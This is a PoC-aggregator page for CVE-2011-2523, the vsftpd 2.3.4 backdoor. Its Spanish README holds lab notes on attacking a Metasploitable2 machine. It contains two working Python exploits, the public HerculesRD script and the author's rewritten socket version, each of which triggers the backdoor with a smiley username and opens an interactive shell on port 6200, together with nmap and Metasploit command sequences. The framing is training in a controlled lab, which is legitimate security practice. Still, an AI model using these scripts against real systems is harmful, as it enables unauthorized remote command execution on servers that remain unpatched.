POC详情: ffc6c8fbe88102e30ab8abf6aea7a27c5b7cf4a0

来源
关联漏洞
标题: vsftpd 操作系统命令注入漏洞 (CVE-2011-2523)
描述:vsftpd是一款用于类Unix系统的FTP(文件传输协议)服务器。 vsftpd 2.3.4版本(2011年6月30日至2011年7月3日期间下载)中存在安全漏洞,该漏洞源于软件中存在可以打开shell的后门。攻击者可利用该漏洞执行命令。
介绍
# CVE-2011-2523

Estos son apuntes para la creación de la metodología de ataque en un entorno controlado.
Se parte de la premisa que el ejercicio es en caja negra por ende desconozco información del sistema victima 

1- descargar ISO necesarios tanto metaexplotable2 como kali o cualquier otra 
2-  importante el entrono esta configurado con vmware así que se deben ejecutar ambas maquinas en este hipervisor 
3-el proceso inicial realizar un ip para verificar que exista conexión entre los dos puntas
4-usar nmap sV Pn 192.168.253.128 una vez que realizamos el reconocimiento encontramos multiples puertos
21 ftp vsftpd 2.3.4

Como parte del entrenamiento se pretende atacar cada puerto para logra ingreso de múltiples  formas  iniciamos con el siguiente puerto
Se tratara de realizar una situación de caja negra para poder resolver o simular condiciones reales lo más posible. 


Explotación puerto 21 FTP

Se inicia con la utilización de nmap -Pn -sV 10.0.2.5
buscamos en la base de datos publicas y encontramos CVE-2011-2523 la cual es un backdoor y lo trataremos de explotar para tener acceso a la maquina victima 

primero debemos comprender que existe un backdoor en la explotación que se realizara en este caso en particular. 
al tratar de encontrar la forma de vulnerar este sistema por medio de la vulnerabilidad existente se encuentra información en packetstorm.news  se presenta un POC que prueba que se puede explotar  pero no es del todo funcional como se aprecia en el siguiente codigo: 

# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3   

from telnetlib import Telnet 
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)                           
parser=argparse.ArgumentParser()        
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()       
host = args.host                        
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()

lo cual al leer el código se puede comprender que lo que se pretender es probar que se puede hacer no es hacerlo un script funcional por lo cual para realizar practicas más realista realice una modificación sustancial para que este tuviera un shell inverso el cual permitiera un acceso más adecuado desde el momento de la ejecución del código. La modificación del código llevo al siguiente resultado:
#!/usr/bin/env python3

import socket
import sys
import time

def connect_ftp(host, port=21):
    try:
        s = socket.socket()
        s.connect((host, port))
        banner = s.recv(1024).decode(errors='ignore')
        print(f"[+] FTP Banner: {banner.strip()}")

        # Enviar payload del backdoor
        s.sendall(b'USER backdoor:)\r\n')
        time.sleep(0.5)
        s.sendall(b'PASS whatever\r\n')
        time.sleep(0.5)
        s.close()

        return True
    except Exception as e:
        print(f"[!] Error conectando al FTP: {e}")
        return False

def connect_backdoor_shell(host, port=6200):
    try:
        print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...")
        shell = socket.socket()
        shell.settimeout(3)
        shell.connect((host, port))
        print("[+] ¡Shell obtenida!")

        while True:
            cmd = input("shell> ")
            if cmd.strip().lower() == "exit":
                break
            shell.sendall((cmd + "\n").encode())
            # Lee todos los datos disponibles hasta timeout
            output = b""
            while True:
                try:
                    chunk = shell.recv(4096)
                    if not chunk:
                        break
                    output += chunk
                    # Espera un poco para ver si hay más datos
                    time.sleep(0.1)
                except socket.timeout:
                    break
            if output:
                print(output.decode(errors='ignore'))
            else:
                print("[!] Sin respuesta del shell.")

        shell.close()

    except Exception as e:
        print(f"[!] Falló al conectar con la shell: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Uso: {sys.argv[0]} <IP>")
        sys.exit(1)

    target_ip = sys.argv[1]
    if connect_ftp(target_ip):
        time.sleep(1)  # Da tiempo al backdoor para abrir el puerto
        connect_backdoor_shell(target_ip)
    else:
        print("[!] No se pudo conectar o el objetivo no parece vulnerable.")

por lo anterior se puede comprender que puede ser una forma rebuscada manual para afrontar este ejemplo pero se trata de crear diversas opciones para poder crecer en el ambiente de la seguridad informática y mejorar las habilidades.

La otra forma que se puede emplear es usando metasploit de la siguiente forma 
msfconsole 
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.5
run
como se comprende ambos hacen exactamente lo mismo solo que uno ya se encuentra automatizado y el otro es un proceso más manual.
文件快照

[4.0K] /data/pocs/ffc6c8fbe88102e30ab8abf6aea7a27c5b7cf4a0 └── [5.6K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。